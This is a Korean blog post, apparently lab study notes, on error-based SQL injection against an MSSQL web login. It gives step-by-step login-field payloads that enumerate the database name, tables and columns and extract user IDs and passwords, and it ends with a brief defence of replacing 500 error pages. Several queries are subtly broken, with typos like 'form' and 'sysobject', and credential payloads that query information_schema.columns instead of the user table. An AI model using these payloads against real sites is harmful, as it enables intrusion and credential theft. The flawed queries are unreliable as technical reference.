DB Schema 파악
- SQL Injection을 이용하여 단순히 인증 우회뿐만 아니라 DB Schema를 파악한 후 DB의 모든 레코드를 알아낼 수 있다.
1) Database 이름 파악하기
- 형 변환 오류를 통해서 에러 메시지에 표시되는 DB 이름을 확인한다.
1.1) Query 문을 통해 확인
- DB의 이름이 webhack인 것을 확인할 수 있다.
select db_name()
1.2) Web Browser에서 확인
ID: 'or db_name()=1--
- 형 변환 오류가 발생하면서 Database이름을 확인할 수 있다.
2) Database Table명 알아내기
- 에러를 유발해 에러 메시지에 테이블 이름이 포함되게 한다.
- sysobjects, information_schema.tables, information_schema.columns를 이용해 찾을 수 있다.
- 이 중에서 sysobjects를 통해서 찾으려고 한다.
2.1) Query 문을 통해 확인
- sysobject를 통해 모든 object를 확인할 수 있다.
- 도움말을 통해서 Xtype U가 사용자가 정의한 테이블인 것을 확인할 수 있다.
<Query 문>
use webhack;
select * from sysobject
- 다음과 같은 질의문으로 사용자 정의 테이블만 확인할 수 있다.
<Query 문>
use webhack;
select name form sysobject where xtype='U'
2.2) Web Browser에서 확인된 테이블 이름을 제거하는 방식
- 다음과 같은 질의문을 ID에 넣으면 첫 번째 테이블 정보를 얻을 수 있다.
ID: ' or (select top 1 name from sysobjects where xtype='U')=1--
- 테이블 이름 확인이 완료되면 name!= '테이블 이름'을 통해서 해당 테이블을 제외하고 출력한다.
- 또 다른 board라는 이름의 테이블이 있는 것을 확인할 수 있다.
ID: ' or (select top 1 name from sysobjects where xtype='U' and name!='zipcode')=1--
- 알아낸 테이블들을 제거하면서 로그인하면 모든 테이블 이름을 알아낼 수 있다.
- 이사용 방법의 경우 사용자가 정의한 테이블이 많으면 많을수록 Query문의 길이가 길어진다는 단점이 있다.
ID: ' or (select top 1 name from sysobjects where xtype='U' and name!='zipcode' and name!='board')=1--
2.3) 테이블 이름을 순서로 정렬하여 비교하는 방식
- 테이블의 이름을 order by를 사용하여 이름순으로 정렬할 수 있다.
- 문자열이 길어지지 않고 하나씩 바꿔서 대입해서 입력하면 모든 테이블 정보를 확인할 수 있다.
- 맨 위 질의문을 입력하고 나온 테이블명으로 and name >'테이블명'을 계속 바꿔가면서 입력하면 된다.
ID: ' or (select top 1 name from sysobjects where xtype='U' order by name)=1--
ID: ' or (select top 1 name from sysobjects where xtype='U' and name >'board' order by name)=1--
ID: ' or (select top 1 name from sysobjects where xtype='U' and name >'dtproperties' order by name)=1--
3) Column 이름을 파악하기
- Information_scgema.columns을 이용하여 칼럼명을 알아내려고 한다
- Member 테이블의 칼럼 이름을 알아낼 수 있다.
ID: ' or (select top 1 column_name from information_schema.columns where table_name='member' order by name)=1--
' or (select top 1 column_name from information_schema.columns where table_name='member'and column_name > 'id' order by name)=1--
ID: ' or (select top 1 column_name from information_schema.columns where table_name='member'and column_name > 'user_id' order by name)=1--
4) 저장된 Data 파악하기
- 알아낸 칼럼명을 통해서 사용자의 ID와 비밀번호를 파악할 수 있다.
ID: ' or (select top 1 user_id from information_schema.columns where table_name='member' order by name)=1--
ID: ' or (select top 1 user_pw from information_schema.columns where table_name='member' order by name)=1--
- nuno의 ID와 패스워드를 알아냈다면 nuno를 이용하여 다음 사용자의 ID, 패스워드도 확인할 수 있다.
ID: ' or (select top 1 user_id from information_schema.columns where table_name='member' and user_id > 'nuno' order by name)=1--
ID: ' or (select top 1 user_pw from information_schema.columns where table_name='member' and user_pw > 'dlaudtn' order by name)=1--
5) Internal Server Error 방어 방법
5.1) 에러 페이지를 대체 페이지로 설정
- 웹서버 등록정보 → 사용자 정의 오류 → 500번 에러에 대한 정보를 편집한다.
- 에러 화면을 SQL 내부 에러메시지를 표시하는것이 아닌 다른 대체 페이지로 변경한다.
- 실제 사용자는 내부 오류는 볼 수 없고 대체 사이트만 확인이 가능하다.
- 수정 후 웹 서버를 재시작한다.
5.2) Attacker PC 확인
- 다시 SQL Injection을 통해 Database 내용을 확인하려고 시도하면 SQL 내부 오류 메시지가 아닌 대체 페이지를 띄어주게 된다.
'Hacking & Security > Web Hacking & Security' 카테고리의 다른 글
[Web Hacking & Security] Stored Procedure를 이용한 공격 및 방어 (0) | 2020.01.07 |
---|---|
[Web Hacking & Security] Blind SQL Injection 공격 (0) | 2020.01.07 |
[Web Hacking & Security] SQL Injection 공격 (0) | 2020.01.06 |
[Web Hacking & Security] CSRF (Cross Site Request Forgery) 공격 (0) | 2020.01.03 |
[Web Security & Hacking] XSF(Cross Site Flash) 공격 (0) | 2020.01.02 |
공부&일상 블로그
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요! 질문은 언제나 환영입니다😊